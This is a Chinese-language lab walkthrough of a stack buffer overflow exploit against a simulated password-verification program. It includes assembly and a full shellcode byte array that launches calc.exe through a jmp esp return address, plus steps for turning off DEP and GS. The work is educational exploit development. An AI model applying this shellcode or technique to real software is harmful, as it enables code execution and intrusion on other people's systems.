實驗原本是模擬一個密碼驗證程序,其代碼如下:
- 發現漏洞
其中verify_password代碼如下:
用紅框圈起來的地方發現有一個緩沖區漏洞,我們就利用這里進行棧溢出操作。我們這里只是嘗試着彈出一個calc.exe。
- 構造匯編代碼來利用漏洞
先構造匯編代碼,這里是先利用LoadLibrary加載msvcrt.dll,在利用system函數彈出calc.exe,最后利用ExitProcess退出,以防止棧破壞而報錯,如果不使用ExitProcess,很容易報錯:
當然我們這里要知道,“exitProcess是不管堆棧平衡,直接強制退出的。不使用這個東東的話就在shellcode里手動修復堆棧吧”。
匯編代碼如下:
void main() { __asm { mov esp, ebp; push ebp; mov ebp, esp; xor edi, edi; push edi; sub esp, 08h; mov byte ptr[ebp - 0ch], 6Dh; //m mov byte ptr[ebp - 0bh], 73h; //s mov byte ptr[ebp - 0ah], 76h; //v mov byte ptr[ebp - 09h], 63h; //c mov byte ptr[ebp - 08h], 72h; //r mov byte ptr[ebp - 07h], 74h; //t mov byte ptr[ebp - 06h], 2Eh; //. mov byte ptr[ebp - 05h], 64h; //d mov byte ptr[ebp - 04h], 6Ch; //l mov byte ptr[ebp - 03h], 6Ch; //l lea eax, [ebp - 0Ch]; push eax; mov eax, 0x763b8f80; call eax;//LoadLibrary xor edi, edi; push edi; sub esp, 08h; mov byte ptr[ebp - 18h], 63h; //c mov byte ptr[ebp - 17h], 61h; //a mov byte ptr[ebp - 16h], 6ch; //l mov byte ptr[ebp - 15h], 63h; //c mov byte ptr[ebp - 14h], 2Eh; //. mov byte ptr[ebp - 13h], 65h; //e mov byte ptr[ebp - 12h], 78h; //x mov byte ptr[ebp - 11h], 65h; //e //system 0x762fb730 lea eax, [ebp - 18h]; push eax; mov eax, 0x762fb730; call eax;//system mov eax, 0x763c9850; call eax;//ExitProcess } }
_asm中間的才是我們需要的,之所以放入main函數只是為了運行測試我們所寫的匯編代碼是否有問題,運行:
- 為編寫shellcode查機器碼
可以正常彈出calc.exe,說明匯編代碼沒有問題。那么我們現在利用VS的反匯編功能,查看這些匯編代碼的機器碼,記得要在反匯編窗口右鍵選中“顯示代碼字節”,才能看到機器碼:
選中后顯示如下:
這里有一個問題,我們call eax的時候實際上是在調用API,我們又是如何知道這些API的地址的呢?我們可以利用這樣一段代碼:
運行它,就會輸出這個函數的地址:
這樣,我們就知道了上邊匯編代碼中call eax之前,先要把那個地址mov到eax中了。
現在參考一下棧空間布局:
我們現在要做的就是填充掉棧空間中的buffer所占的44個字節、authenticated所占的四個字節,和原先壓棧存放的ebp所占的四個字節,我們需要填充52個字節數據,這52個字節可以是任意字節。然后再把返回地址填充為要執行的我們的代碼的地址,這里我們填充一個jmp esp的機器碼,因為當函數退出時,esp會移動到圖中指向第一個參數的位置,而這些參數我們將會用shellcode覆蓋以執行我們自己的意圖,所以,jmp esp后就相當於跳轉到執行自己的意圖的代碼部分。如圖所示:
那么這里問題來了,我們如何獲取jmp esp的地址?利用如下demo:
可以找到加載user32.dll后一些jmp esp指令的地址:
整個shellcode的機器碼如下:
//unsigned char shellcode[] = //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\x9D\xC9\x74\x63" //"\x8B\xE5"//mov esp, ebp; //"\x55"//push ebp; //"\x8B\xEC"//mov ebp, esp; //"\x33\xFF"//xor edi, edi; //"\x57"//push edi; //"\x83\xEC\x08"//sub esp, 08h; //"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m' //"\xC6\x45\xF5\x73"//'s' //"\xC6\x45\xF6\x76"//'v' //"\xC6\x45\xF7\x63"//'c' //"\xC6\x45\xF8\x72"//'r' //"\xC6\x45\xF9\x74"//'t' //"\xC6\x45\xFA\x2E"//'.' //"\xC6\x45\xFB\x64"//'d' //"\xC6\x45\xFC\x6C"//'l' //"\xC6\x45\xFD\x6C"//'l' //"\x8D\x45\xF4" //lea eax, [ebp-0ch] //"\x50" //push eax //"\xB8\x80\x8F\x3B\x76"//mov eax, 0x762fb730; //"\xFF\xD0"//call eax; //"\x33\xFF"//xor edi, edi; //"\x57"//push edi; //"\x83\xEC\x08"//sub esp, 08h; //"\xC6\x45\xE8\x63"//mov byte ptr[ebp - 0ch], 63h; //"\xC6\x45\xE9\x61"//mov byte ptr[ebp - 0bh], 61h; //"\xC6\x45\xEA\x6C"//mov byte ptr[ebp - 0ah], 6ch; //"\xC6\x45\xEB\x63"//mov byte ptr[ebp - 09h], 63h; //"\xC6\x45\xEC\x2E"//mov byte ptr[ebp - 08h], 2Eh; //"\xC6\x45\xED\x65"//mov byte ptr[ebp - 07h], 65h; //"\xC6\x45\xEE\x78"//mov byte ptr[ebp - 06h], 78h; //"\xC6\x45\xEF\x65"//mov byte ptr[ebp - 05h], 65h; //"\x8D\x45\xE8"//lea eax, [ebp - 18h]; //"\x50"//push eax ; //"\xB8\x30\xB7\x2F\x76"//mov eax, 0x762fb730; //"\xFF\xD0"//call eax; //"\xB8\x50\x98\x3C\x76"//mov eax, 0x763c9850; //"\xFF\xD0";//call eax;
檢驗這段機器碼,可以使用
int main() { ( (Func) &shellcode)(); return 0; }
進行測試,當然測試的時候要把前面填充的那些AA注釋掉。而且,更重要的是,要關閉DEP保護,否則棧上的數據無法執行。
- 將機器碼寫入TXT
將機器碼寫入TXT以便這個文件讀取時,造成緩沖區溢出,這里利用UltraEdit寫入:
- 運行程序調試
運行程序之前,記住關閉GS。
通過調試可以看出,發生溢出成功:
反匯編單步跟蹤到函數返回時:
也可以看到老ebp被覆蓋:
再往下運行一步就會報錯:
為什么?
而我們看到此時執行到的匯編指令為:
這說明我們的溢出是成功的,程序已經把棧中的數據當做代碼去執行了。我們仔細觀察上邊的彈窗,說“寫入位置 0x44444440 時發生訪問沖突”,這表明esp中的地址不合法,這主要是因為把剛才ebp中存放的0x44444444存入了esp,隨后又進行了一次push,把esp“抬高”到了0x44444440所致,那么我們考慮把mov esp,ebp去掉,
這時候就可以正常的彈出calc.exe了: